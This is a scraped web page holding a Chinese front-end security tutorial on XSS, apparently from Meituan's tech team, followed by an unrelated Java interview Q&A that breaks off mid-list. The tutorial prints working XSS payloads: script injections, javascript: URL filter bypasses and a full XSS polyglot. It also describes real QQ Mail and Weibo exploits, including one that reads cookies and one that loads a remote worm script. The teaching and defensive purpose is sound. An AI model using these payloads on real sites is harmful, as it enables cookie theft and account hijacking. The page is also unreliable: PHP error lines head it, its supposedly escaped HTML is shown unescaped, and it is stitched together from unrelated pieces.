Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
當(dāng)當(dāng)當(dāng),我是美團(tuán)技術(shù)團(tuán)隊(duì)的程序員鼓勵(lì)師美美~“基本功”專欄又來新文章了,這次是一個(gè)系列,一起來學(xué)習(xí)前端安全的那些事。我們將不斷梳理常見的前端安全問題以及對應(yīng)的解決方案,希望可以幫助前端同學(xué)在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞,Enjoy Reading!
背景
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。
前端安全
近幾年,美團(tuán)業(yè)務(wù)高速發(fā)展,前端隨之面臨很多安全挑戰(zhàn),因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見的前端安全問題以及對應(yīng)的解決方案,將會(huì)做成一個(gè)系列,希望可以幫助前端同學(xué)在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞。本文是該系列的第一篇。
今天我們講解一下 XSS ,主要包括:
XSS攻擊的介紹
在開始本文之前,我們先提出一個(gè)問題,請判斷以下兩個(gè)說法是否正確:
如果你還不能確定答案,那么可以帶著這些問題向下看,我們將逐步拆解問題。
XSS 漏洞的發(fā)生和修復(fù)
XSS 攻擊是頁面被注入了惡意的代碼,為了更形象的介紹,我們用發(fā)生在小明同學(xué)身邊的事例來進(jìn)行說明。
一個(gè)案例
某天,公司需要一個(gè)搜索頁面,根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容。小明很快把頁面寫好并且上線。代碼如下:
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%= getParameter("keyword") %> </div>
然而,在上線后不久,小明就接到了安全組發(fā)來的一個(gè)神秘鏈接:
http://xxx/search?keyword="><script>alert('XSS');</script>
小明帶著一種不祥的預(yù)感點(diǎn)開了這個(gè)鏈接[請勿模仿,確認(rèn)安全的鏈接才能點(diǎn)開]。果然,頁面中彈出了寫著"XSS"的對話框。
可惡,中招了!小明眉頭一皺,發(fā)現(xiàn)了其中的奧秘:
當(dāng)瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時(shí),服務(wù)端會(huì)解析出請求參數(shù) keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執(zhí)行。
這里不僅僅 div 的內(nèi)容被注入了,而且 input 的 value 屬性也被注入, alert 會(huì)彈出兩次。
面對這種情況,我們應(yīng)該如何進(jìn)行防范呢?
其實(shí),這只是瀏覽器把用戶的輸入當(dāng)成了腳本進(jìn)行了執(zhí)行。那么只要告訴瀏覽器這段內(nèi)容是文本就可以了。
聰明的小明很快找到解決方法,把這個(gè)漏洞修復(fù):
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%= escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規(guī)則進(jìn)行轉(zhuǎn)義:
經(jīng)過了轉(zhuǎn)義函數(shù)的處理后,最終瀏覽器接收到的響應(yīng)為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
惡意代碼都被轉(zhuǎn)義,不再被瀏覽器執(zhí)行,而且搜索詞能夠完美的在頁面顯示出來。
通過這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
注意特殊的 HTML 屬性、JavaScript API
自從上次事件之后,小明會(huì)小心的把插入到頁面中的數(shù)據(jù)進(jìn)行轉(zhuǎn)義。而且他還發(fā)現(xiàn)了大部分模板都帶有的轉(zhuǎn)義配置,讓所有插入到頁面中的數(shù)據(jù)都默認(rèn)進(jìn)行轉(zhuǎn)義。這樣就不怕不小心漏掉未轉(zhuǎn)義的變量啦,于是小明的工作又漸漸變得輕松起來。
但是,作為導(dǎo)演的我,不可能讓小明這么簡單、開心地改 Bug 。
不久,小明又收到安全組的神秘鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點(diǎn)開頁面。然而,頁面并沒有自動(dòng)彈出萬惡的“XSS”。
小明打開對應(yīng)頁面的源碼,發(fā)現(xiàn)有以下內(nèi)容:
<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳轉(zhuǎn)...</a>
這段代碼,當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務(wù)端響應(yīng)就成了:
<a href="javascript:alert('XSS')">跳轉(zhuǎn)...</a>
雖然代碼不會(huì)立即執(zhí)行,但一旦用戶點(diǎn)擊 a 標(biāo)簽時(shí),瀏覽器會(huì)就會(huì)彈出alert('xss')。
可惡,又失策了…
在這里,用戶的數(shù)據(jù)并沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內(nèi)容并不是我們所預(yù)期的類型。
原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現(xiàn)在特定的位置也會(huì)引發(fā) XSS 攻擊。
小明眉頭一皺,想到了解決辦法:
// 禁止 URL 以 "javascript:" 開頭 xss = getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%= escapeHTML(getParameter("redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404"> 跳轉(zhuǎn)... </a> }
只要 URL 的開頭不是 javascript:,就安全了吧?
安全組隨手又扔了一個(gè)連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')
這也能執(zhí)行?…..好吧,瀏覽器就是這么強(qiáng)大。
小明欲哭無淚,在判斷 URL 開頭是否為 javascript: 時(shí),先把用戶輸入轉(zhuǎn)成了小寫,然后再進(jìn)行比對。
不過,所謂“道高一尺,魔高一丈”。面對小明的防護(hù)策略,安全組就構(gòu)造了這樣一個(gè)連接:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert('XSS') 經(jīng)過 URL 解析后變成 javascript:alert('XSS'),這個(gè)字符串以空格開頭。這樣攻擊者可以繞過后端的關(guān)鍵詞規(guī)則,又成功的完成了注入。
最終,小明選擇了白名單的方法,徹底解決了這個(gè)漏洞:
// 根據(jù)項(xiàng)目情況進(jìn)行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes = ["http", "https"]; valid = isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%= escapeHTML(getParameter("redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404"> 跳轉(zhuǎn)... </a> }
通過這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
根據(jù)上下文采用不同的轉(zhuǎn)義規(guī)則
某天,小明為了加快網(wǎng)頁的加載速度,把一個(gè)數(shù)據(jù)通過 JSON 的方式內(nèi)聯(lián)到 HTML 中:
<script> var initData = <%= data.toJSON() %> </script>
插入 JSON 的地方不能使用 escapeHTML(),因?yàn)檗D(zhuǎn)義 " 后,JSON 格式會(huì)被破壞。
但安全組又發(fā)現(xiàn)有漏洞,原來這樣內(nèi)聯(lián) JSON 也是不安全的:
于是我們又要實(shí)現(xiàn)一個(gè) escapeEmbedJSON() 函數(shù),對內(nèi)聯(lián) JSON 進(jìn)行轉(zhuǎn)義。轉(zhuǎn)義規(guī)則如下:
修復(fù)后的代碼如下:
<script> var initData = <%= escapeEmbedJSON(data.toJSON()) %>
通過這個(gè)事件,小明學(xué)習(xí)到了如下知識(shí):
漏洞總結(jié)
小明的例子講完了,下面我們來系統(tǒng)的看下 XSS 有哪些注入的方法:
總之,如果開發(fā)者沒有將用戶輸入的文本進(jìn)行合適的過濾,就貿(mào)然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構(gòu)造出惡意的代碼指令,進(jìn)而利用惡意代碼危害數(shù)據(jù)安全。
XSS攻擊的分類
通過上述幾個(gè)例子,我們已經(jīng)對 XSS 有了一些認(rèn)識(shí)。
什么是 XSS
Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標(biāo)網(wǎng)站上注入惡意腳本,使之在用戶的瀏覽器上運(yùn)行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進(jìn)而危害數(shù)據(jù)安全。
為了和 CSS 區(qū)分,這里把攻擊的第一個(gè)字母改成了 X,于是叫做 XSS。
XSS 的本質(zhì)是:惡意代碼未經(jīng)過濾,與網(wǎng)站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導(dǎo)致惡意腳本被執(zhí)行。
而由于直接在用戶的終端執(zhí)行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網(wǎng)站發(fā)起攻擊者定義的請求。
在部分情況下,由于輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,并由瀏覽器執(zhí)行,來完成比較復(fù)雜的攻擊策略。
這里有一個(gè)問題:用戶是通過哪種方法“注入”惡意腳本的呢?
不僅僅是業(yè)務(wù)上的“用戶的 UGC 內(nèi)容”可以進(jìn)行注入,包括 URL 上的參數(shù)等都可以是攻擊的來源。在處理輸入時(shí),以下內(nèi)容都不可信:
XSS 分類
根據(jù)攻擊的來源,XSS 攻擊可分為存儲(chǔ)型、反射型和 DOM 型三種。
存儲(chǔ)型 XSS
存儲(chǔ)型 XSS 的攻擊步驟:
這種攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能,如論壇發(fā)帖、商品評(píng)論、用戶私信等。
反射型 XSS
反射型 XSS 的攻擊步驟:
反射型 XSS 跟存儲(chǔ)型 XSS 的區(qū)別是:存儲(chǔ)型 XSS 的惡意代碼存在數(shù)據(jù)庫里,反射型 XSS 的惡意代碼存在 URL 里。
反射型 XSS 漏洞常見于通過 URL 傳遞參數(shù)的功能,如網(wǎng)站搜索、跳轉(zhuǎn)等。
由于需要用戶主動(dòng)打開惡意的 URL 才能生效,攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。
POST 的內(nèi)容也可以觸發(fā)反射型 XSS,只不過其觸發(fā)條件比較苛刻(需要構(gòu)造表單提交頁面,并引導(dǎo)用戶點(diǎn)擊),所以非常少見。
DOM 型 XSS
DOM 型 XSS 的攻擊步驟:
DOM 型 XSS 跟前兩種 XSS 的區(qū)別:DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。
XSS攻擊的預(yù)防
通過前面的介紹可以得知,XSS 攻擊有兩大要素:
針對第一個(gè)要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?
輸入過濾
在用戶提交時(shí),由前端過濾輸入,然后提交到后端。這樣做是否可行呢?
答案是不可行。一旦攻擊者繞過前端過濾,直接構(gòu)造請求,就可以提交惡意代碼了。
那么,換一個(gè)過濾時(shí)機(jī):后端在寫入數(shù)據(jù)庫前,對輸入進(jìn)行過濾,然后把“安全的”內(nèi)容,返回給前端。這樣是否可行呢?
我們舉一個(gè)例子,一個(gè)正常的用戶輸入了 5 < 7 這個(gè)內(nèi)容,在寫入數(shù)據(jù)庫前,被轉(zhuǎn)義,變成了 5 < 7。
問題是:在提交階段,我們并不確定內(nèi)容要輸出到哪里。
這里的“并不確定內(nèi)容要輸出到哪里”有兩層含義:
所以,輸入側(cè)過濾能夠在某些情況下解決特定的 XSS 問題,但會(huì)引入很大的不確定性和亂碼問題。在防范 XSS 攻擊時(shí)應(yīng)避免此類方法。
當(dāng)然,對于明確的輸入類型,例如數(shù)字、URL、電話號(hào)碼、郵件地址等等內(nèi)容,進(jìn)行輸入過濾還是必要的。
既然輸入過濾并非完全可靠,我們就要通過“防止瀏覽器執(zhí)行惡意代碼”來防范 XSS。這部分分為兩類:
預(yù)防存儲(chǔ)型和反射型 XSS 攻擊
存儲(chǔ)型和反射型 XSS 都是在服務(wù)端取出惡意代碼后,插入到響應(yīng) HTML 里的,攻擊者刻意編寫的“數(shù)據(jù)”被內(nèi)嵌到“代碼”中,被瀏覽器所執(zhí)行。
預(yù)防這兩種漏洞,有兩種常見做法:
純前端渲染
純前端渲染的過程:
在純前端渲染中,我們會(huì)明確的告訴瀏覽器:下面要設(shè)置的內(nèi)容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會(huì)被輕易的被欺騙,執(zhí)行預(yù)期外的代碼了。
但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預(yù)防 DOM 型 XSS 攻擊“部分)。
在很多內(nèi)部、管理系統(tǒng)中,采用純前端渲染是非常合適的。但對于性能要求高,或有 SEO 需求的頁面,我們?nèi)匀灰鎸ζ唇?HTML 的問題。
轉(zhuǎn)義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉(zhuǎn)義庫,對 HTML 模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義。
常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對于 HTML 轉(zhuǎn)義通常只有一個(gè)規(guī)則,就是把 & < > " ' / 這幾個(gè)字符轉(zhuǎn)義掉,確實(shí)能起到一定的 XSS 防護(hù)作用,但并不完善:
所以要完善 XSS 防護(hù)措施,我們要使用更完善更細(xì)致的轉(zhuǎn)義策略。
例如 Java 工程里,常用的轉(zhuǎn)義庫為 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明。
<!-- HTML 標(biāo)簽內(nèi)文字內(nèi)容 --> <div><%= Encode.forHtml(UNTRUSTED) %></div> <!-- HTML 標(biāo)簽屬性值 --> <input value="<%= Encode.forHtml(UNTRUSTED) %>" /> <!-- CSS 屬性值 --> <div style="width:<= Encode.forCssString(UNTRUSTED) %>"> <!-- CSS URL --> <div style="background:<= Encode.forCssUrl(UNTRUSTED) %>"> <!-- JavaScript 內(nèi)聯(lián)代碼塊 --> <script> var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>"; alert(msg); </script> <!-- JavaScript 內(nèi)聯(lián)代碼塊內(nèi)嵌 JSON --> <script> var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>'); </script> <!-- HTML 標(biāo)簽內(nèi)聯(lián)監(jiān)聽器 --> <button onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');"> click me </button> <!-- URL 參數(shù) --> <a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top"> <!-- URL 路徑 --> <a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>"> <!-- URL. 注意:要根據(jù)項(xiàng)目情況進(jìn)行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 --> <a href='<%= urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'> link </a>
可見,HTML 的編碼是十分復(fù)雜的,在不同的上下文里要使用相應(yīng)的轉(zhuǎn)義規(guī)則。
預(yù)防 DOM 型 XSS 攻擊
DOM 型 XSS 攻擊,實(shí)際上就是網(wǎng)站前端 JavaScript 代碼本身不夠嚴(yán)謹(jǐn),把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。
在使用 .innerHTML、.outerHTML、document.write() 時(shí)要特別小心,不要把不可信的數(shù)據(jù)作為 HTML 插到頁面上,而應(yīng)盡量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技術(shù)棧,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTML、outerHTML 的 XSS 隱患。
DOM 中的內(nèi)聯(lián)事件監(jiān)聽器,如 location、onclick、onerror、onload、onmouseover 等,<a> 標(biāo)簽的 href 屬性,JavaScript 的 eval()、setTimeout()、setInterval() 等,都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些 API,很容易產(chǎn)生安全隱患,請務(wù)必避免。
<!-- 內(nèi)聯(lián)事件監(jiān)聽器中包含惡意代碼 --> <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,"> <!-- 鏈接內(nèi)包含惡意代碼 --> <a href="UNTRUSTED">1</a> <script> // setTimeout()/setInterval() 中調(diào)用惡意代碼 setTimeout("UNTRUSTED") setInterval("UNTRUSTED") // location 調(diào)用惡意代碼 location.href = 'UNTRUSTED' // eval() 中調(diào)用惡意代碼 eval("UNTRUSTED") </script>
如果項(xiàng)目中有用到這些的話,一定要避免在字符串中拼接不可信數(shù)據(jù)。
其他XSS防范措施
雖然在渲染頁面和執(zhí)行 JavaScript 時(shí),通過謹(jǐn)慎的轉(zhuǎn)義可以防止 XSS 的發(fā)生,但完全依靠開發(fā)的謹(jǐn)慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風(fēng)險(xiǎn)和后果。
Content Security Policy
嚴(yán)格的 CSP 在 XSS 的防范中可以起到以下的作用:
關(guān)于 CSP 的詳情,請關(guān)注前端安全系列后續(xù)的文章。
輸入內(nèi)容長度控制
對于不受信任的輸入,都應(yīng)該限定一個(gè)合理的長度。雖然無法完全防止 XSS 發(fā)生,但可以增加 XSS 攻擊的難度。
其他安全措施
XSS的檢測
上述經(jīng)歷讓小明收獲頗豐,他也學(xué)會(huì)了如何去預(yù)防和修復(fù) XSS 漏洞,在日常開發(fā)中也具備了相關(guān)的安全意識(shí)。但對于已經(jīng)上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?
經(jīng)過一番搜索,小明找到了兩個(gè)方法:
在Unleashing an Ultimate XSS Polyglot一文中,小明發(fā)現(xiàn)了這么一個(gè)字符串:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
它能夠檢測到存在于 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能繞過一些 XSS 過濾器。
小明只要在網(wǎng)站的各輸入框中提交這個(gè)字符串,或者把它拼接到 URL 參數(shù)上,就可以進(jìn)行檢測了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手動(dòng)檢測之外,還可以使用自動(dòng)掃描工具尋找 XSS 漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。
XSS攻擊的總結(jié)
我們回到最開始提出的問題,相信同學(xué)們已經(jīng)有了答案:
1. XSS 防范是后端 RD 的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
不正確。因?yàn)椋悍婪洞鎯?chǔ)型和反射型 XSS 是后端 RD 的責(zé)任。而 DOM 型 XSS 攻擊不發(fā)生在后端,是前端 RD 的責(zé)任。防范 XSS 是需要后端 RD 和前端 RD 共同參與的系統(tǒng)工程。轉(zhuǎn)義應(yīng)該在輸出 HTML 時(shí)進(jìn)行,而不是在提交用戶輸入時(shí)。
2. 所有要插入到頁面上的數(shù)據(jù),都要通過一個(gè)敏感字符過濾函數(shù)的轉(zhuǎn)義,過濾掉通用的敏感字符后,就可以插入到頁面了。
不正確。不同的上下文,如 HTML 屬性、HTML 文字內(nèi)容、HTML 注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián) JavaScript 字符串、內(nèi)聯(lián) CSS 樣式表等,所需要的轉(zhuǎn)義規(guī)則不一致。業(yè)務(wù) RD 需要選取合適的轉(zhuǎn)義庫,并針對不同的上下文調(diào)用不同的轉(zhuǎn)義規(guī)則。
整體的 XSS 防范是非常復(fù)雜和繁瑣的,我們不僅需要在全部需要轉(zhuǎn)義的位置,對數(shù)據(jù)進(jìn)行對應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義,避免正常的用戶輸入出現(xiàn)亂碼。
雖然很難通過技術(shù)手段完全避免 XSS,但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生:
XSS攻擊案例
QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻擊者發(fā)現(xiàn) http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個(gè) URL 的參數(shù) uin、domain 未經(jīng)轉(zhuǎn)義直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個(gè) URL,并引導(dǎo)用戶去點(diǎn)擊:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用戶點(diǎn)擊這個(gè) URL 時(shí),服務(wù)端取出 URL 參數(shù),拼接到 HTML 響應(yīng)中:
<script> getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
瀏覽器接收到響應(yīng)后就會(huì)執(zhí)行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當(dāng)前用戶在 QQ 郵箱域名下的 Cookie ,進(jìn)而危害數(shù)據(jù)安全。
新浪微博名人堂反射型 XSS 漏洞
攻擊者發(fā)現(xiàn) http://weibo.com/pub/star/g/xyyyd 這個(gè) URL 的內(nèi)容未經(jīng)過濾直接輸出到 HTML 中。
于是攻擊者構(gòu)建出一個(gè) URL,然后誘導(dǎo)用戶去點(diǎn)擊:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
用戶點(diǎn)擊這個(gè) URL 時(shí),服務(wù)端取出請求 URL,拼接到 HTML 響應(yīng)中:
<li><a ><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>
瀏覽器接收到響應(yīng)后就會(huì)加載執(zhí)行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態(tài)進(jìn)行關(guān)注、發(fā)微博、發(fā)私信等操作,發(fā)出的微博和私信可再帶上攻擊 URL,誘導(dǎo)更多人點(diǎn)擊,不斷放大攻擊范圍。這種竊用受害者身份發(fā)布惡意內(nèi)容,層層放大攻擊范圍的方式,被稱為“XSS 蠕蟲”。
XSS攻擊擴(kuò)展閱讀:Automatic Context-Aware Escaping
上文我們說到:
通常,轉(zhuǎn)義庫是不能判斷插入點(diǎn)上下文的(Not Context-Aware),實(shí)施轉(zhuǎn)義規(guī)則的責(zé)任就落到了業(yè)務(wù) RD 身上,需要每個(gè)業(yè)務(wù) RD 都充分理解 XSS 的各種情況,并且需要保證每一個(gè)插入點(diǎn)使用了正確的轉(zhuǎn)義規(guī)則。
這種機(jī)制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發(fā)現(xiàn)隱患。
2009年,Google 提出了一個(gè)概念叫做:Automatic Context-Aware Escaping。
所謂 Context-Aware,就是說模板引擎在解析模板字符串的時(shí)候,就解析模板語法,分析出每個(gè)插入點(diǎn)所處的上下文,據(jù)此自動(dòng)選用不同的轉(zhuǎn)義規(guī)則。這樣就減輕了業(yè)務(wù) RD 的工作負(fù)擔(dān),也減少了人為帶來的疏漏。
在一個(gè)支持 Automatic Context-Aware Escaping 的模板引擎里,業(yè)務(wù) RD 可以這樣定義模板,而無需手動(dòng)實(shí)施轉(zhuǎn)義規(guī)則:
<html> <head> <meta charset="UTF-8"> <title>{{.title}}</title> </head> <body> <a href="{{.url}}">{{.content}}</a> </body> </html>
模板引擎經(jīng)過解析后,得知三個(gè)插入點(diǎn)所處的上下文,自動(dòng)選用相應(yīng)的轉(zhuǎn)義規(guī)則:
<html> <head> <meta charset="UTF-8"> <title>{{.title | htmlescaper}}</title> </head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a> </body> </html>
目前已經(jīng)支持 Automatic Context-Aware Escaping 的模板引擎有:
課后作業(yè):XSS攻擊小游戲
以下是幾個(gè) XSS 攻擊小游戲,開發(fā)者在網(wǎng)站上故意留下了一些常見的 XSS 漏洞。玩家在網(wǎng)頁上提交相應(yīng)的輸入,完成 XSS 攻擊即可通關(guān)。
在玩游戲的過程中,請各位讀者仔細(xì)思考和回顧本文內(nèi)容,加深對 XSS 攻擊的理解。
alert(1) to win
prompt(1) to win
XSS game
參考文獻(xiàn)
下期預(yù)告
前端安全系列文章將對 XSS、CSRF、網(wǎng)絡(luò)劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請期待。
作者介紹
李陽,美團(tuán)點(diǎn)評(píng)前端工程師。2016年加入美團(tuán)點(diǎn)評(píng),負(fù)責(zé)美團(tuán)外賣 Hybrid 頁面性能優(yōu)化相關(guān)工作。
歡迎加入美團(tuán)前端安全技術(shù)交流群,跟作者零距離交流。請加美美同學(xué)的微信(微信號(hào):MTDPtech01),回復(fù):前端安全,美美會(huì)自動(dòng)拉你進(jìn)群。
1、Java中兩種數(shù)據(jù)類型(為后面進(jìn)一步提問做鋪墊)
(1)基本數(shù)據(jù)類型,分為boolean、byte、int、char、long、short、double、float;
(2)引用數(shù)據(jù)類型 ,分為數(shù)組、類、接口。
擴(kuò)展:Java中引入了基本數(shù)據(jù)類型,但是為了能夠?qū)⑦@些基本數(shù)據(jù)類型當(dāng)成對象操作,Java為每一個(gè)基本數(shù)據(jù)類型都引入了對應(yīng)的包裝類型(wrapper class),int的包裝類就是Integer,從Java 5開始引入了自動(dòng)裝箱/拆箱機(jī)制,使得二者可以相互轉(zhuǎn)換。
基本數(shù)據(jù)類型: boolean,char,byte,short,int,long,float,double
封裝類類型: Boolean,Character,Byte,Short,Integer,Long,F(xiàn)loat,Double
2、java中==和eqauls()的區(qū)別
==分兩類分析,既可以比較基本類型也可以比較引用類型,對于基本類型來說是比較的數(shù)值。對于引用類型來說比較的內(nèi)存地址值;equals是屬于java.lang.Object類里面的方法,Object里的equals里默認(rèn)的是雙等于==。分兩種情況討論:一種是自定義類,看自定義類有沒有重寫equals方法,通常情況下,如果重寫了equals則比較的是類中相應(yīng)屬性是否相等。如果沒有重寫equals方法,則仍然使用==比較的是地址。
總結(jié)、:
== :
基本類型:比較值是否相等
引用類型:比較的就是內(nèi)存地址是否相同
equals :
引用類型:默認(rèn)情況下,比較的是地址值。可以進(jìn)行重寫,使其比較對象的值是否相等。
3、說說int和Integer有何區(qū)別
(1)Integer是int的包裝類;int是基本數(shù)據(jù)類型;
(2)Integer變量必須實(shí)例化后才能使用;int變量不需要;
(3)Integer實(shí)際是對象的引用,指向此new的Integer對象;int是直接存儲(chǔ)數(shù)據(jù)值 ;
(4)Integer的默認(rèn)值是null;int的默認(rèn)值是0。
4、switch中能否使用string類型的參數(shù)作為變量(涉及到j(luò)dk版本的理解)
在JDK1.7之前,switch只能支持byte、short、char、int、float、double或者其對應(yīng)的封裝類以及Enum類型。JDK1.7開始支持String。當(dāng)字符串不會(huì)頻繁改變時(shí)可以用枚舉來代替String。
5、說明ArrayList和LinkedList的區(qū)別和優(yōu)缺點(diǎn),在哪些場景會(huì)使用?
區(qū)別:
(1)ArrayList是實(shí)現(xiàn)了基于動(dòng)態(tài)數(shù)組的數(shù)據(jù)結(jié)構(gòu),LinkedList是基于鏈表結(jié)構(gòu);
(2)對于隨機(jī)訪問的get和set方法,ArrayList要優(yōu)于LinkedList,因?yàn)長inkedList要移動(dòng)指針;
(3)對于新增和刪除操作add和remove,LinkedList比較占優(yōu)勢,因?yàn)锳rrayList要移動(dòng)數(shù)據(jù);
各自優(yōu)缺點(diǎn):
(1)對ArrayList和LinkedList而言,在列表末尾增加一個(gè)元素所花的開銷都是固定的。對ArrayList而言,主要是在內(nèi)部數(shù)組中增加一項(xiàng),指向所添加的元素,偶爾可能會(huì)導(dǎo)致對數(shù)組重新進(jìn)行分配;而對LinkedList而言,這個(gè)開銷是 統(tǒng)一的,分配一個(gè)內(nèi)部Entry對象。
(2)在ArrayList集合中添加或者刪除一個(gè)元素時(shí),當(dāng)前的列表移動(dòng)元素后面所有的元素都會(huì)被移動(dòng)。而LinkedList集合中添加或者刪除一個(gè)元素的開銷是固定的。
